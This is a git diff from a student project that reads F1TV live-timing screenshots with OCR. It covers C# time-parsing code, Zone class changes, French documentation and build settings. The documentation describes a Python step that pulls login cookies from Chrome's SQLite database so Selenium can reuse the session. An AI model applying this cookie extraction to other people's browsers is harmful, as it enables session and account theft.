public static async Task GetTimeFromPng(Bitmap windowImage, OcrImage.WindowType windowType, TesseractEngine Engine) + public static int GetTimeFromPng(Bitmap image, OcrImage.WindowType windowType, TesseractEngine Engine) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = ""; int result = 0; + //Debug + int salt = rnd.Next(0, 999999); + switch (windowType) { case OcrImage.WindowType.Sector: @@ -113,7 +153,7 @@ namespace Test_Merge } - Bitmap enhancedImage = new OcrImage(windowImage).Enhance(windowType); + Bitmap enhancedImage = new OcrImage(image).Enhance(windowType); var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage)); @@ -149,50 +189,378 @@ namespace Test_Merge //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers.RemoveAll(x => ((string)x) == ""); - if (rawNumbers.Count == 3) + int minuts = 0; + int seconds = 0; + int miliseconds = 0; + switch (windowType) { - //mm:ss:ms - result = (Convert.ToInt32(rawNumbers[0]) * 1000 * 60) + (Convert.ToInt32(rawNumbers[1]) * 1000) + Convert.ToInt32(rawNumbers[2]); - } - else - { - if (rawNumbers.Count == 2) - { - //ss:ms - result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]); - - if (result > 999999) - { - //We know that we have way too much seconds to make a minut - //Its usually because the ":" have been interpreted as a number - int minuts = (int)(rawNumbers[0][0] - '0'); - // rawNumbers[0][1] should contain the : that has been mistaken - int seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); - int ms = Convert.ToInt32(rawNumbers[1]); - result = (Convert.ToInt32(minuts) * 1000 * 60) + (Convert.ToInt32(seconds) * 1000) + Convert.ToInt32(ms); - } - } - else - { - if (rawNumbers.Count == 1) + case OcrImage.WindowType.Sector: + //Usually there is supposed to be only 2 parts. + if (rawNumbers.Count == 2) { + //The perect case try { - result = Convert.ToInt32(rawNumbers[0]); + seconds = Convert.ToInt32(rawNumbers[0].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1].ToString()); } catch { - //It can be because the input is empty or because its the LEADER bracket - result = 0; + Console.WriteLine("Sector time convertion failed"); } } else { - //Auuuugh + if (rawNumbers.Count == 1) + { + //Here it is a little harder... Usually its because a '.' has been overlooked or interpreted as a number + + if (rawNumbers[0].Length == 6) + { + //The '.' has been understood as a number + try + { + seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString()); + } + catch + { + Console.WriteLine("Sector time convertion failed"); + } + } + else + { + if (rawNumbers[0].Length == 5) + { + //The '.' has been overlooked + try + { + seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString()); + } + catch + { + Console.WriteLine("Sector time convertion failed"); + } + } + else + { + Console.WriteLine("Sector time convertion failed"); + } + } + } + else + { + //The OCR detected more than 1 '.' wich is concerning because that means that something went really wrong + Console.WriteLine("Sector time convertion failed"); + } + } + + result = 0; + result += seconds * 1000; + result += miliseconds; + break; + case OcrImage.WindowType.LapTime: + + if (rawNumbers.Count == 3) + { + //The normal way + try + { + minuts = Convert.ToInt32(rawNumbers[0].ToString()); + seconds = Convert.ToInt32(rawNumbers[1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[2].ToString()); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + if (rawNumbers.Count == 2) + { + //Either the ':' or the '.' has been missinterpreted + if (rawNumbers[0].Length > rawNumbers[1].Length) + { + //The ':' has been missinterpreted + if (rawNumbers[0].Length == 3) + { + //It has been forgotten + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1]); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + + } + else + { + if (rawNumbers[0].Length == 4) + { + //I has been translated into an other number + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1]); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + //This could happen if the ':' has been missinterpreted with a lap time of over 9 minuts (HIGLY IMPROBABLE) + Console.WriteLine("Lap time convertion failed"); + } + } + } + else + { + //The '.' has been missinterpreted + if (rawNumbers[1].Length == 5) + { + //It has been forgotten + minuts = Convert.ToInt32(rawNumbers[0].ToString()); + seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1][2].ToString() + rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString()); + } + else + { + if (rawNumbers[1].Length == 6) + { + try + { + //It has been interpreted as a number + minuts = Convert.ToInt32(rawNumbers[0].ToString()); + seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString() + rawNumbers[1][5].ToString()); + } + catch + { + //It can happen and to be honest I dont know how to fix it + } + } + else + { + Console.WriteLine("Lap time convertion failed"); + } + } + } + } + else + { + if (rawNumbers.Count == 1) + { + //Both the '.' and the ':' have been missinterpreted + if (rawNumbers[0].Length == 6) + { + //The just all have been forgotten + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString()); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + if (rawNumbers[0].Length == 7) + { + //The '.' or ':' have been interpreted as a number (usually the ':') + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString()); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + if (rawNumbers[0].Length == 8) + { + //Both have been interpreted as a number + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString() + rawNumbers[0][7].ToString()); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + //I dont know what could have happened + Console.WriteLine("Lap time convertion failed"); + } + } + } + } + else + { + //I dont know what could have happened + Console.WriteLine("Lap time convertion failed"); + } + } + } + + result = 0; + result += minuts * 60 * 1000; + result += seconds * 1000; + result += miliseconds; + break; + case OcrImage.WindowType.Gap: + if (rawNumbers.Count == 2) + { + // This should be the x.xxx or a missed x:xx.xxx + if (rawNumbers[0].Length > 2) + { + //Its a missed x:xx.xxx + if (rawNumbers[0].Length == 3) + { + //It forgot the ":" + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1]); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + else + { + //The ":" has been mistaken as a number + if (rawNumbers[0].Length == 4) + { + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1]); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + else + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + + } + else + { + //It should be a normal x.xxx or xx.xxx + try + { + seconds = Convert.ToInt32(rawNumbers[0].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1].ToString()); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + } + else + { + if (rawNumbers.Count == 1) + { + //can be anything depending on the size of the string + if (rawNumbers[0].Length == 4) + { + //We just missed the '.' + try + { + seconds = Convert.ToInt32(rawNumbers[0][0].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + else + { + if (rawNumbers[0].Length == 5) + { + //We just missed the '.' + try + { + seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString()); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + //There is just too much possibilities that it would be stupid to try and tell them appart so for now im leaving that as just an error + Console.WriteLine("Gap to leader convertion failed"); + } + } + else + { + if (rawNumbers.Count == 3) + { + // This should be the x:xx.xxx + try + { + //Gaps cant be more than 9 minuts so if there is more than 1 digit it means that the '+' has been understood as an other number + if (rawNumbers[0].Length > 1) + rawNumbers[0] = rawNumbers[0][rawNumbers[0].Length - 1].ToString(); + + minuts = Convert.ToInt32(rawNumbers[0].ToString()); + seconds = Convert.ToInt32(rawNumbers[1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[2].ToString()); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + } + } + result = 0; + result += minuts * 60 * 1000; + result += seconds * 1000; + result += miliseconds; + break; + default: + try + { + result = Convert.ToInt32(rawNumbers[0].ToString()); + } + catch + { result = 0; } - } + break; } + page.Dispose(); return result; } @@ -204,13 +572,16 @@ namespace Test_Merge /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found - public static async Task GetStringFromPng(Bitmap WindowImage, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text) + public static string GetStringFromPng(Bitmap image, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text) { string result = ""; + //Debug + int salt = rnd.Next(0, 999999); + Engine.SetVariable("tessedit_char_whitelist", allowedChars); - Bitmap rawData = WindowImage; + Bitmap rawData = image; Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType); Page page = Engine.Process(enhancedImage); @@ -301,17 +672,5 @@ namespace Test_Merge return d[string1.Length, string2.Length]; } - public virtual string ToJSON() - { - string result = ""; - - result += "\"" + Name + "\"" + ":{" + Environment.NewLine; - result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine; - result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine; - result += "\t" + "\"width\":" + Bounds.Width + Environment.NewLine; - result += "}"; - - return result; - } } } diff --git a/docs/Code/Zone.cs b/docs/Code/Zone.cs index 6f841ef..5a06a22 100644 --- a/docs/Code/Zone.cs +++ b/docs/Code/Zone.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -11,7 +11,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace Test_Merge +namespace TrackTrends { public class Zone { @@ -38,7 +38,7 @@ namespace Test_Merge set { //It automatically sets the image for the contained windows and zones - _image = Image; + _image = value; foreach (Window w in Windows) { w.Image = ZoneImage; @@ -49,12 +49,16 @@ namespace Test_Merge } } } - public Rectangle Bounds { get => _bounds; protected set => _bounds = value; } public List Zones { get => _zones; protected set => _zones = value; } public List Windows { get => _windows; protected set => _windows = value; } public string Name { get => _name; protected set => _name = value; } - + /// + /// Creates a new Zone + /// + /// Image of the parent zone + /// The position and size of the zone + /// THe name of the zone (usefull for the JSON formatting) public Zone(Bitmap image, Rectangle bounds, string name) { Windows = new List(); @@ -86,36 +90,36 @@ namespace Test_Merge /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver - public virtual async Task Decode(List driverList) + public virtual DriverData Decode(List driverList) { int sectorCount = 0; DriverData result = new DriverData(); - Parallel.ForEach(Windows, async w => + foreach(Window w in Windows) { // A switch would be prettier but I dont think its supported in this C# version if (w is DriverNameWindow) - result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); + result.Name = (string)(w as DriverNameWindow).DecodePng(driverList); if (w is DriverDrsWindow) - result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); + result.DRS = (bool)(w as DriverDrsWindow).DecodePng(); if (w is DriverGapToLeaderWindow) - result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); + result.GapToLeader = (int)(w as DriverGapToLeaderWindow).DecodePng(); if (w is DriverLapTimeWindow) - result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); + result.LapTime = (int)(w as DriverLapTimeWindow).DecodePng(); if (w is DriverPositionWindow) - result.Position = (int)await (w as DriverPositionWindow).DecodePng(); + result.Position = (int)(w as DriverPositionWindow).DecodePng(); if (w is DriverSectorWindow) { sectorCount++; if (sectorCount == 1) - result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); + result.Sector1 = (int)(w as DriverSectorWindow).DecodePng(); if (sectorCount == 2) - result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); + result.Sector2 = (int)(w as DriverSectorWindow).DecodePng(); if (sectorCount == 3) - result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); + result.Sector3 = (int)(w as DriverSectorWindow).DecodePng(); } if (w is DriverTyresWindow) - result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); - }); + result.CurrentTyre = (Tyre)(w as DriverTyresWindow).DecodePng(); + } return result; } public virtual Bitmap Draw() @@ -136,16 +140,16 @@ namespace Test_Merge //If its the main zone we need to visualize the Zone bounds displayed if (Zones.Count > 0) - g.DrawRectangle(new Pen(Brushes.Violet, 5), Bounds); + g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249,194,46)), 5), Bounds); foreach (Zone z in Zones) { Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height); - g.DrawRectangle(Pens.Red, newBounds); + g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249, 194, 46)), 5), newBounds); } foreach (Window w in Windows) { - g.DrawRectangle(Pens.Blue, w.Bounds); + g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(252, 252, 252)), 5), w.Bounds); } return img; } @@ -161,62 +165,6 @@ namespace Test_Merge } Windows.Clear(); } - public virtual string ToJSON() - { - string result = ""; - result += "\"" + Name + "\":{" + Environment.NewLine; - result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine; - result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine; - result += "\t" + "\"width\":" + Bounds.Width + "," + Environment.NewLine; - result += "\t" + "\"height\":" + Bounds.Height; - - if (Windows.Count != 0) - { - result += "," + Environment.NewLine; - - result += "\t" + "\"Windows\":[" + Environment.NewLine; - result += "\t\t{" + Environment.NewLine; - int Wcount = 0; - foreach (Window w in Windows) - { - result += "\t\t" + w.ToJSON(); - Wcount++; - if (Wcount != Windows.Count) - result += ","; - } - result += "\t\t}" + Environment.NewLine; - result += "\t" + "]" + Environment.NewLine; - } - else - { - result += Environment.NewLine; - } - if (Zones.Count != 0) - { - result += "," + Environment.NewLine; - - result += "\t" + "\"Zones\":[" + Environment.NewLine; - result += "\t\t{" + Environment.NewLine; - int Zcount = 0; - //foreach (Zone z in Zones) - //{ - result += "\t\t" + Zones[0].ToJSON(); - Zcount++; - if (Zcount != Zones.Count) - //result += ","; - //} - result += "\t\t}" + Environment.NewLine; - result += "\t" + "]" + Environment.NewLine; - } - else - { - result += Environment.NewLine; - } - - result += "}"; - - return result; - } /// /// Checks if the given Rectangle fits in the current zone /// diff --git a/docs/Images/Figma/DiagrammeGénéral.png b/docs/Images/Figma/DiagrammeGénéral.png new file mode 100644 index 0000000..1b4758e Binary files /dev/null and b/docs/Images/Figma/DiagrammeGénéral.png differ diff --git a/docs/Images/Figma/DiagrammeGénéral.png:Zone.Identifier b/docs/Images/Figma/DiagrammeGénéral.png:Zone.Identifier new file mode 100644 index 0000000..e69de29 diff --git a/docs/Images/Figma/DiagrammeOCR.png b/docs/Images/Figma/DiagrammeOCR.png new file mode 100644 index 0000000..7a27d61 Binary files /dev/null and b/docs/Images/Figma/DiagrammeOCR.png differ diff --git a/docs/Images/Figma/DiagrammeOCR.png:Zone.Identifier b/docs/Images/Figma/DiagrammeOCR.png:Zone.Identifier new file mode 100644 index 0000000..e69de29 diff --git a/docs/Images/Figma/DiagrammeRecupImages.png b/docs/Images/Figma/DiagrammeRecupImages.png new file mode 100644 index 0000000..a2071e8 Binary files /dev/null and b/docs/Images/Figma/DiagrammeRecupImages.png differ diff --git a/docs/Images/Figma/DiagrammeRecupImages.png:Zone.Identifier b/docs/Images/Figma/DiagrammeRecupImages.png:Zone.Identifier new file mode 100644 index 0000000..e69de29 diff --git a/docs/Images/Figma/DiagrammeTraitement.png b/docs/Images/Figma/DiagrammeTraitement.png new file mode 100644 index 0000000..a73505c Binary files /dev/null and b/docs/Images/Figma/DiagrammeTraitement.png differ diff --git a/docs/Images/Figma/DiagrammeTraitement.png:Zone.Identifier b/docs/Images/Figma/DiagrammeTraitement.png:Zone.Identifier new file mode 100644 index 0000000..e69de29 diff --git a/docs/index.md b/docs/index.md index ee191c7..bfdcdca 100644 --- a/docs/index.md +++ b/docs/index.md @@ -456,6 +456,67 @@ Il existe d'autres outils mais j'ai décidé de prendre celui la à cause de son En plus il est facile à utiliser et je ne pense pas encore avoir fait le tour de tout son potentiel dans ce projet. +### Fonctionnement général + +Avant de passer à l'explication de chaques parties du projet en détail, je pense qu'il est important de faire un petit point sur comment toutes les parties du projet s'emboitent et fonctionnement ensemble. Comme ca quand vous lirez l'explication d'une étape vous serez conscient de à quoi elle sert et ou elle s'înscrit dans le projet principal. + +#### Les briques principales + +Voici trois grosses étapes du projet. Pour rappel ce sont des vulgarisations plutôt larges qui n'ont qu'un seul but, aider à la compréhension de ce qui vient par la suite. + +##### Recupération d'images + +!["Diagramme simplifié représentant le processus de récupèration des images"](./Images/Figma/DiagrammeRecupImages.png) + +Pour faire simple on peut voir qu'il y a deux parties à cette étape. La première en partant du haut représente un script python qui va chercher des informations dans la base de données de Chrome qui est en SQLITE. Ces informations dans notre cas sont les cookies de connexion. + +Dans la seconde étape, on peut voir que le programme utilise Selenium avec un navigateur Firefox Headless qui va aller communiquer avec la F1TV qui est le site web qui nous intéresse et que une des infos que l'on récupère est une image de la page en format PNG que l'on envoie au programme C#. + +Ces deux partie sont liées car pour se connecter à la F1TV Selenium a besoin des cookies de connexion récupèrés par le programme Python. + +La première partie est un processus qui n'est utilisé qu'une seule fois au démarrage tandis que la récupération d'images et en continu pendant toute la durée de l'utilisation de l'application. + +##### OCR + +!["Diagramme simplifié représentant le processur d'OCR"](./Images/Figma/DiagrammeOCR.png); + +On peut voir dans ce diagramme simplifié qu'avec l'aide de ce que contient le fichier "Config.JSON" on découpe l'image que l'on a récupèré au préalable en petits morceaux qui continennent des informations. Ensuite on prend cette image et on lui applique un filtre pour retirer le flou la couleur etc... Puis en utilisant de l'OCR (Optical Character Recognition) on en récupère les informations sous forme de texte et on le renvoie dans le programme C# + +Dans cette partie explicative générale, on ne reviendra pas sur la création de ce fichier config. Pour plus d'infos à son sujet voir la rubrique (OCR/Fonctionnement général) + +##### Traitement et affichage + +!["Diagramme simplifié représentant le processus de traitement et d'affichage"](./Images/Figma/DiagrammeTraitement.png) + +On peut voir dans ce dernier mini diagramme simplifié que on prend les données que l'on récupèré de l'étape précédente qui ne sont pas forcément toutes cohérentes et qu'on les traite pour leur redonner du sens avant de les stocker dans une base de données SQLITE. Ensuite cette même base de donnée fournis les infos nescessaires pour des affichages (Ces affichages sont directements récupèrés depuis le projet en cours de fonctionnement) + +#### Résumé du fonctionnement général + +!["Diagramme simplifé représentant le processus général du projet"](./Images/Figma/DiagrammeG%C3%A9n%C3%A9ral.png) + +Ce dernier diagramme est un schéma fait pour représenter de la manière la plus simple possible toutes les briques du projet et comment elles s'imbriquent ensemble. +La représentation est un peu différentes des 3 autre diagramme car le but ici est surtout de montrer le chemin que fait la donnée à travers les couches + +Toutes les parties du projet ne sont pas incluses, notamment la partie calibration dans un objectif de simplifier la lecture. + +Dans l'ordre, on peut voir que pour la partie récupèration d'images, le python va récupèrer les cookies dans la base de données chrome pour ensuite les retourner à Selenium. + +Selenium va ensuite pouvoir lancer un navigateur (en l'occurence Firefox) et utiliser les cookies récupèrés pour aller sur la page de la F1TV qui va retourner un certain nombre d'infos à Selenium. + +L'info qui nous intéresse le plus depuis Selenium c'est les images de la page data de la F1Tv et c'est elles que l'on va envoyer dans la partie LOAD du diagramme. + +Dans cette partie on prend l'image de la F1TV et on la decoupe selon les directives données par le fichier Config.JSON (il renseigne les zones à découper et ce qu'elles représentent) et après le découpage on se retrouve avec une zone principale, vingt zones de pilotes et 9 fenêtres de données par zone de pilote donc 180 fenêtres en tout. + +Ces fenêtres sont ensuite envoyées pour être filtrées (retirer le flou, mettre en évidence les caractères, en gros les préparer pour la reconnaissance) dans la partie OCR + +Dans cette partie, après avoir filtré les images, on les envoie à Tesseract pour qu'il nous retourne des résultats d'OCR. Ces résultats sont ce que Tesseract a trouvé sur les image et ils sont retournés sous al forme de Data Pilote. Ex (Position: 1,Tour : 45, Temps au tour : 1:34.683, Pneus: Medium etc....) + +Finalement ces données ont envoyées dans la partie traitement qui va faire des vérifications d'usage pour s'assurer qu'elles sont correctes et quand c'est fait, tout est envoyé dans une base de données SQLITE. + +On ne montre pas non plus dans ce diagramme la parte affichage des données car je ne trouve pas pertinent de l'inclure ici. + +Et voila c'est le fonctionnement très général et simplifié de l'application. Je vous invite à continuer à lire cette documentation pour des informations plus précises à propos de toutes ces étapes. Bonne lecture ! + ### Récupération des images Voici la première grande étape du projet. @@ -2041,8 +2102,6 @@ Je pense que dans mes futurs projets je mettrai les tests en début de projet pl Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous empêchent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de sérénité incontournable. -[INSERER MEME SUR LES TESTS UNITAIRES] - ## Résumé des difficultés techniques ---- @@ -2078,3 +2137,5 @@ Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils no ---- [A remplir la dernière semaine du travail de diplôme] + +## Notes de code diff --git a/docs/jdb.md b/docs/jdb.md index 7b34fac..17f1dbd 100644 --- a/docs/jdb.md +++ b/docs/jdb.md @@ -3065,4 +3065,22 @@ Le seul qui m'inquiète un peu c'est celui des pneus mais bon. C'est aussi celui Non mais c'est juste génial les tests en fait... j'avais pas vu que parfois ma detection de GAP TO LEADER comprenait le "+1:34.567" en "61:34.567" car le '+' était interprêté comme un 6. Sans les tests je ne m'en serais pas rendu compte. -Ce qui est génial c'est que ca veut dire que si je veux améliorer mon OCR j'ai juste à mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule. \ No newline at end of file +Ce qui est génial c'est que ca veut dire que si je veux améliorer mon OCR j'ai juste à mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule. + +## Vendredi 2 Juin 2023 + +Aujourd'hui c'est de nouveau doc. Mais la je pense qu'il faut que je rajoute une rubrique "Fonctionnement général" qui résume très simplement toutes les étapes du projet avec un bon diagramme. + +En fait c'est beaucoup plus dur que ce que je pensais de faire un bon diagramme qui explique tout sans être illisible. J'ai mis une heure trente à faire celui la : + +!["Diagramme fonctionnement général"](./Images/Figma/DiagrammeG%C3%A9n%C3%A9ral.png) + +J'ai pris pas mal de temps aussi à faire ces trois autre diagrammes un peu plus graphiques qui montrent de manière un poil plus abstraite le fonctionnement des trois grosses parties du projet. + +!["Diagramme recupération d'images"](./Images/Figma/DiagrammeRecupImages.png) + +!["Diagramme OCR"](./Images/Figma/DiagrammeOCR.png) + +!["Diagramme Traitement"](./Images/Figma/DiagrammeTraitement.png) + +Je pense qu'ils sont un peu plus faciles à comprendre que le gros diagramme général. Ce que je me dis c'est que je vais faire une section fonctionnement général ou je vais expliquer les trois parties avec les petits diagramme et résumer avec le grand diagramme. \ No newline at end of file diff --git a/mkdocs.yml b/mkdocs.yml index d3e957c..73ab3fe 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -19,9 +19,15 @@ theme: icon: material/brightness-4 name: Switch to light mode markdown_extensions: + - pymdownx.highlight: + anchor_linenums: true + line_spans: __span + pygments_lang_class: true + - pymdownx.inlinehilite + - pymdownx.snippets + - pymdownx.superfences - attr_list - md_in_html - - pymdownx.highlight plugins: - glightbox - search @@ -29,23 +35,29 @@ plugins: - with-pdf: cover_subtitle: "Vroum Vroum" enabled_if_env: ENABLE_PDF_EXPORT + toc_title: Table des matières + ordered_chapter_level: 3 + toc_level: 6 - annexes-integration: annexes: # Required (at least 1) - - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - - Program.cs: Code/Program.cs # An path to an annex with its title - - Window.cs: Code/Window.cs # An path to an annex with its title - - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - - Form1.cs: Code/Form1.cs # An path to an annex with its title - - Reader.cs: Code/Reader.cs # An path to an annex with its title - - Zone.cs: Code/Zone.cs # An path to an annex with its title - - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - - Settings.cs: Code/Settings.cs # An path to an annex with its title - - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title + - ConfigurationTool.cs: "Code/ConfigurationTool.cs" + - DriverData.cs: "Code/DriverData.cs" + - DriverGapToLeaderWindow.cs: "Code/DriverGapToLeaderWindow.cs" + - DriverNameWindow.cs: "Code/DriverNameWindow.cs" + - DriverSectorWindow.cs: "Code/DriverSectorWindow.cs" + - F1TVEmulator.cs: "Code/F1TVEmulator.cs" + - Form1.cs: "Code/Form1.cs" + - Program.cs: "Code/Program.cs" + - Settings.Designer.cs: "Code/Settings.Designer.cs" + - SqliteStorage.cs: "Code/SqliteStorage.cs" + - Zone.cs: "Code/Zone.cs" + - DataWrapper.cs: "Code/DataWrapper.cs" + - DriverDrsWindow.cs: "Code/DriverDrsWindow.cs" + - DriverLapTimeWindow.cs: "Code/DriverLapTimeWindow.cs" + - DriverPositionWindow.cs: "Code/DriverPositionWindow.cs" + - DriverTyresWindow.cs: "Code/DriverTyresWindow.cs" + - OcrImage.cs: "Code/OcrImage.cs" + - Reader.cs: "Code/Reader.cs" + - Settings.cs: "Code/Settings.cs" + - Window.cs: "Code/Window.cs" + - recoverCookiesCSV.py: "Code/recoverCookiesCSV.py" diff --git a/site/404.html b/site/404.html index 878ff2d..e5fa957 100644 --- a/site/404.html +++ b/site/404.html @@ -280,76 +280,6 @@ -
  • - - DriverGapToLeaderWindow.cs - -
    • - - - - - - - - - -
  • - - DriverPositionWindow.cs - -
    • - - - - - - - - - -
  • - - F1TVEmulator.cs - -
    • - - - - - - - - - -
  • - - Program.cs - -
    • - - - - - - - - - -
  • - - Window.cs - -
    • - - - - - - - - -
  • DriverData.cs @@ -365,8 +295,22 @@
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • + + + + + + + + + +
  • + + DriverNameWindow.cs
    • @@ -392,6 +336,20 @@ +
  • + + F1TVEmulator.cs + +
    • + + + + + + + + +
  • Form1.cs @@ -407,8 +365,36 @@
  • - - Reader.cs + + Program.cs + +
    • + + + + + + + + + +
  • + + Settings.Designer.cs + +
    • + + + + + + + + + +
  • + + SqliteStorage.cs
    • @@ -434,6 +420,20 @@ +
  • + + DataWrapper.cs + +
    • + + + + + + + + +
  • DriverDrsWindow.cs @@ -449,8 +449,22 @@
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • + + + + + + + + + +
  • + + DriverPositionWindow.cs
    • @@ -490,6 +504,20 @@ +
  • + + Reader.cs + +
    • + + + + + + + + +
  • Settings.cs @@ -504,6 +532,20 @@ +
  • + + Window.cs + +
    • + + + + + + + + +
  • recoverCookiesCSV.py diff --git a/site/CahierDesCharges.html b/site/CahierDesCharges.html index 9b37393..a478afe 100644 --- a/site/CahierDesCharges.html +++ b/site/CahierDesCharges.html @@ -173,38 +173,18 @@
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
